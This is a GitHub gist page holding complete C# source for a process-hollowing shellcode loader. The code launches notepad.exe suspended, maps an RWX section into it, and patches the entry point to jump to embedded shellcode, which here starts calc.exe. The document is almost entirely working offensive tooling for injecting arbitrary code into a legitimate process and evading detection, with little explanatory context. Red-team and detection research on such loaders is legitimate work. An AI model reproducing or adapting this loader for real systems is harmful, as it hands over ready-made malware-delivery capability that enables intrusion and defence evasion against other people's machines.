Skip to content

Instantly share code, notes, and snippets.

@0xSV1
Forked from med0x2e/process-hollowing.cs
Created March 12, 2021 12:06
Show Gist options
  • Save 0xSV1/41a14b71febf63a041624d24af9be24b to your computer and use it in GitHub Desktop.
Save 0xSV1/41a14b71febf63a041624d24af9be24b to your computer and use it in GitHub Desktop.

Revisions

  1. @med0x2e med0x2e revised this gist Mar 12, 2021. No changes.
  2. @med0x2e med0x2e renamed this gist Mar 12, 2021. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  3. @med0x2e med0x2e renamed this gist Mar 12, 2021. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  4. @med0x2e med0x2e created this gist Mar 12, 2021.
    499 changes: 499 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,499 @@
    using System;
    using System.Collections.Generic;
    using System.Runtime.InteropServices;
    using System.Text;

    namespace Hollowing
    {
    public class Loader
    {
    public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe");
    public static string HollowedProcessX85 = "C:\\Windows\\SysWOW64\\notepad.exe";

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_BASIC_INFORMATION
    {
    public IntPtr Reserved1;
    public IntPtr PebAddress;
    public IntPtr Reserved2;
    public IntPtr Reserved3;
    public IntPtr UniquePid;
    public IntPtr MoreReserved;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct STARTUPINFO
    {
    uint cb;
    IntPtr lpReserved;
    IntPtr lpDesktop;
    IntPtr lpTitle;
    uint dwX;
    uint dwY;
    uint dwXSize;
    uint dwYSize;
    uint dwXCountChars;
    uint dwYCountChars;
    uint dwFillAttributes;
    uint dwFlags;
    ushort wShowWindow;
    ushort cbReserved;
    IntPtr lpReserved2;
    IntPtr hStdInput;
    IntPtr hStdOutput;
    IntPtr hStdErr;
    }

    public const uint PageReadWriteExecute = 0x40;
    public const uint PageReadWrite = 0x04;
    public const uint PageExecuteRead = 0x20;
    public const uint MemCommit = 0x00001000;
    public const uint SecCommit = 0x08000000;
    public const uint GenericAll = 0x10000000;
    public const uint CreateSuspended = 0x00000004;
    public const uint DetachedProcess = 0x00000008;
    public const uint CreateNoWindow = 0x08000000;

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile);

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot);

    [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo);

    [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern IntPtr GetCurrentProcess();

    [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern void CloseHandle(IntPtr handle);

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address);

    [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
    private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

    [DllImport("kernel32.dll")]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern uint ResumeThread(IntPtr hThread);

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);


    [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten);


    [DllImport("kernel32.dll")]
    static extern uint GetLastError();

    [StructLayout(LayoutKind.Sequential)]
    public struct SYSTEM_INFO
    {
    public uint dwOem;
    public uint dwPageSize;
    public IntPtr lpMinAppAddress;
    public IntPtr lpMaxAppAddress;
    public IntPtr dwActiveProcMask;
    public uint dwNumProcs;
    public uint dwProcType;
    public uint dwAllocGranularity;
    public ushort wProcLevel;
    public ushort wProcRevision;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct LARGE_INTEGER
    {
    public uint LowPart;
    public int HighPart;
    }

    static IntPtr section_;
    static IntPtr localmap_;
    static IntPtr remotemap_;
    static IntPtr localsize_;
    static IntPtr remotesize_;
    static IntPtr pModBase_;
    static IntPtr pEntry_;
    static uint rvaEntryOffset_;
    static uint size_;
    static byte[] inner_;

    public static uint round_to_page(uint size)
    {
    SYSTEM_INFO info = new SYSTEM_INFO();

    GetSystemInfo(ref info);

    return (info.dwPageSize - size % info.dwPageSize) + size;
    }

    const int AttributeSize = 24;

    private static bool nt_success(long v)
    {
    return (v >= 0);
    }

    public static IntPtr GetCurrent()
    {
    return GetCurrentProcess();
    }



    /***
    * Maps a view of the current section into the process specified in procHandle.
    */
    public static KeyValuePair<IntPtr, IntPtr> MapSection(IntPtr procHandle, uint protect, IntPtr addr)
    {
    IntPtr baseAddr = addr;
    IntPtr viewSize = (IntPtr)size_;


    long status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect);

    if (!nt_success(status))
    throw new SystemException("[x] Something went wrong! " + status);

    return new KeyValuePair<IntPtr, IntPtr>(baseAddr, viewSize);
    }

    /***
    * Attempts to create an RWX section of the given size
    */
    public static bool CreateSection(uint size)
    {
    LARGE_INTEGER liVal = new LARGE_INTEGER();
    size_ = round_to_page(size);
    liVal.LowPart = size_;

    long status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0);

    return nt_success(status);
    }



    /***
    * Maps a view of the section into the current process
    */
    public static void SetLocalSection(uint size)
    {

    KeyValuePair<IntPtr, IntPtr> vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero);
    if (vals.Key == (IntPtr)0)
    throw new SystemException("[x] Failed to map view of section!");

    localmap_ = vals.Key;
    localsize_ = vals.Value;

    }

    /***
    * Copies the shellcode buffer into the section
    */
    public static void CopyShellcode(byte[] buf)
    {
    long lsize = size_;
    if (buf.Length > lsize)
    throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!");

    unsafe
    {
    byte* p = (byte*)localmap_;

    for (int i = 0; i < buf.Length; i++)
    {
    p[i] = buf[i];
    }
    }
    }

    /***
    * Create a new process using the binary located at "path", starting up suspended.
    */
    public static PROCESS_INFORMATION StartProcess(string path)
    {
    STARTUPINFO startInfo = new STARTUPINFO();
    PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();

    uint flags = CreateSuspended;// | DetachedProcess | CreateNoWindow;

    if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo))
    throw new SystemException("[x] Failed to create process!");


    return procInfo;
    }

    const ulong PatchSize = 0x10;

    /***
    * Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based
    * on the current pointer size.
    * Ultimately, we will jump to the shellcode payload
    */
    public static KeyValuePair<int, IntPtr> BuildEntryPatch(IntPtr dest)
    {
    int i = 0;
    IntPtr ptr;

    ptr = Marshal.AllocHGlobal((IntPtr)PatchSize);

    unsafe
    {
    byte* p = (byte*)ptr;
    byte[] tmp = null;

    if (IntPtr.Size == 4)
    {
    p[i] = 0xb8; // mov eax, <imm4>
    i++;
    Int32 val = (Int32)dest;
    tmp = BitConverter.GetBytes(val);
    }
    else
    {
    p[i] = 0x48; // rex
    i++;
    p[i] = 0xb8; // mov rax, <imm8>
    i++;

    Int64 val = (Int64)dest;
    tmp = BitConverter.GetBytes(val);
    }

    for (int j = 0; j < IntPtr.Size; j++)
    p[i + j] = tmp[j];

    i += IntPtr.Size;
    p[i] = 0xff;
    i++;
    p[i] = 0xe0; // jmp [r|e]ax
    i++;
    }

    return new KeyValuePair<int, IntPtr>(i, ptr);
    }


    /**
    * We will locate the entry point for the main module in the remote process for patching.
    */
    private static IntPtr GetEntryFromBuffer(byte[] buf)
    {
    IntPtr res = IntPtr.Zero;
    unsafe
    {
    fixed (byte* p = buf)
    {
    uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS

    byte* nthdr = (p + e_lfanew_offset);

    byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start

    ushort t = *((ushort*)opthdr);

    byte* entry_ptr = (opthdr + 0x10); // entry point rva

    int tmp = *((int*)entry_ptr);

    rvaEntryOffset_ = (uint)tmp;

    // rva -> va
    if (IntPtr.Size == 4)
    res = (IntPtr)(pModBase_.ToInt32() + tmp);
    else
    res = (IntPtr)(pModBase_.ToInt64() + tmp);

    }
    }

    pEntry_ = res;
    return res;
    }

    /**
    * Locate the module base addresss in the remote process,
    * read in the first page, and locate the entry point.
    */
    public static IntPtr FindEntry(IntPtr hProc)
    {
    PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION();
    uint tmp = 0;

    long success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp);
    if (!nt_success(success))
    throw new SystemException("[x] Failed to get process information!");

    IntPtr readLoc = IntPtr.Zero;
    byte[] addrBuf = new byte[IntPtr.Size];
    if (IntPtr.Size == 4)
    {
    readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
    }
    else
    {
    readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
    }

    IntPtr nRead = IntPtr.Zero;

    if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero)
    throw new SystemException("[x] Failed to read process memory!");

    if (IntPtr.Size == 4)
    readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
    else
    readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

    pModBase_ = readLoc;
    if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero)
    throw new SystemException("[x] Failed to read module start!");

    return GetEntryFromBuffer(inner_);
    }

    /**
    * Map our shellcode into the remote (suspended) process,
    * locate and patch the entry point (so our code will run instead of
    * the original application), and resume execution.
    */
    public static void MapAndStart(PROCESS_INFORMATION pInfo)
    {

    KeyValuePair<IntPtr, IntPtr> tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero);
    if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0)
    throw new SystemException("[x] Failed to map section into target process!");

    remotemap_ = tmp.Key;
    remotesize_ = tmp.Value;

    KeyValuePair<int, IntPtr> patch = BuildEntryPatch(tmp.Key);

    try
    {

    IntPtr pSize = (IntPtr)patch.Key;
    IntPtr tPtr = new IntPtr();

    if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero)
    throw new SystemException("[x] Failed to write patch to start location! " + GetLastError());
    }
    finally
    {
    if (patch.Value != IntPtr.Zero)
    Marshal.FreeHGlobal(patch.Value);
    }

    byte[] tbuf = new byte[0x1000];
    IntPtr nRead = new IntPtr();
    if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead))
    throw new SystemException("Failed!");

    uint res = ResumeThread(pInfo.hThread);
    if (res == unchecked((uint)-1))
    throw new SystemException("[x] Failed to restart thread!");

    }

    public IntPtr GetBuffer()
    {
    return localmap_;
    }
    ~Loader()
    {
    if (localmap_ != (IntPtr)0)
    ZwUnmapViewOfSection(section_, localmap_);

    }

    /**
    * Given a path to a binary and a buffer of shellcode,
    * 1.) start a new (supended) process
    * 2.) map a view of our shellcode buffer into it
    * 3.) patch the original process entry point
    * 4.) resume execution
    */
    public static void Load(string targetProcess, byte[] shellcode)
    {

    PROCESS_INFORMATION pinf = StartProcess(targetProcess);
    FindEntry(pinf.hProcess);

    if (!CreateSection((uint)shellcode.Length))
    throw new SystemException("[x] Failed to create new section!");

    SetLocalSection((uint)shellcode.Length);

    CopyShellcode(shellcode);


    MapAndStart(pinf);

    CloseHandle(pinf.hThread);
    CloseHandle(pinf.hProcess);

    }

    public Loader()
    {
    section_ = new IntPtr();
    localmap_ = new IntPtr();
    remotemap_ = new IntPtr();
    localsize_ = new IntPtr();
    remotesize_ = new IntPtr();
    inner_ = new byte[0x1000]; // Reserve a page of scratch space

    byte[] shellcode = new byte[184] {
    0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
    0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
    0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
    0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
    0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
    0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
    0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
    0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
    0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
    0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
    0x00,0x53,0xff,0xd5 };

    byte[] finalshellcode = new byte[shellcode.Length + target_.Length + 1];
    Array.Copy(shellcode, finalshellcode, shellcode.Length);
    Array.Copy(target_, 0, finalshellcode, shellcode.Length, target_.Length);
    finalshellcode[shellcode.Length + target_.Length] = 0;

    try
    {
    Load(HollowedProcessX85, finalshellcode);
    }
    catch (Exception e)
    {
    Console.WriteLine("[x] Something went wrong!" + e.Message);
    }
    }

    }
    }